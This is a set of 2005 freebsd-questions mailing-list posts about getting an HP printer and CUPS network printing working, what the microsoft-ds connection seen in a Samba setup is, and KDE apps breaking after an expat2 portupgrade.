FreeBSD/Ports already? Damn, I was on the *verge* of heading out next week to buy one of those given that I could *not* get my all-in-one HP psc2105 to function at all. I'd given up after days of struggle since the end didn't seem to justify the means. (Windows XP box is pretty much up 24/7 anyway for anyone who needs to print) Regards, -Colin -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Samba - microsoft-ds connection?
A good short description of the ms-ds protocol is given here: http://www.eventid.net/displayprot.asp?lic=19fdcf8protocol=*keyword=2000 Greetings Oliver Leitner Technical Staff http://www.shells.at On Sunday 23 January 2005 01:30, Marty Landman wrote: Hi, Sorry if the subject's a bit cryptic. It's because of my ignorance, here's what I do know. Have just installed FBSD 4.8 release from the mini-iso, my old install got messed up and got Samba 3.0.10 running. My win xp workstation is also my current gateway. Run a tcp monitor on that box called tcpview which displays active connections. Here's what I see for windows networking System:4TCP delliver:4885 swamisalami:microsoft-ds ESTABLISHED System:4TCP delliver:3031 penguin:netbios-ssn ESTABLISHED System:4TCP delliver:4852 eileen:netbios-ssn ESTABLISHED Swamisalami is my fbsd, penguin's my rh9 box running samba 2.x, eileen is a win me workstation. Delliver is my gateway box. What is microsoft-ds? Couldn't find anything about it in MS' knowledgebase. Marty p.s. yes I plan on moving my gateway to fbsd, but it's going to take some time for me to get there Marty Landman, Face 2 Interface Inc. 845-679-9387 Search Sort Easily: http://face2interface.com/Products/FormATable.shtml Web Installed Formmail: http://face2interface.com/formINSTal ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Network Printing - Please put me out of my misery
To inform the list as well... The bug got fixed after setting the Loglevel to debug in the cups.conf we found out that the tmp dir wasnt existant, so he created the tmp dir, and set the right permissions, and it worked. Greetings Oliver Leitner Technical Staff http://www.shells.at -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: KDE issues after recent portupgrade
Well, you could either try to debug the applications that dont work, or take a look in the UPDATING file again, maybe they have descriptions concerning your applications... you could also try to do a cvsup and then a portupgrade -af and look if it goes through and things work afterwards again... hope that helps you any further... Greetings Oliver Leitner Technical Staff http://www.shells.at On Sunday 23 January 2005 02:29, you wrote: From the /usr/ports/UPDATING entry: 20040313: AFFECTS: users of textproc/expat2 AUTHOR: [EMAIL PROTECTED] Users of expat2 (and its many dependencies) should do the following to properly update expat2 and all of its dependencies: portupgrade -rf textproc/expat2 I did the mentioned portupgrade above and a *lot* of packages were reinstalled, among those KDE. I'm not sure in retrospect that I needed to do this as I only installed FreeBSD on this box a couple of months ago. Anyway, since the upgrade Konqueror crashes when started in a directory (core dumps) as a file browser, KDE notifications no longer work (although sound from Gnome apps *do* work - I have gnome-session-daemon start when I log into KDE) and k3b won't start any longer for starters. What would be the best way to try an rectify this? Reinstall kde from scratch with a 'portupgrade -rf /usr/ports/X11/kde3' or something else entirely? All the aforementioned apps were working prior to the portupgrade command mentioned in UPDATING. -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
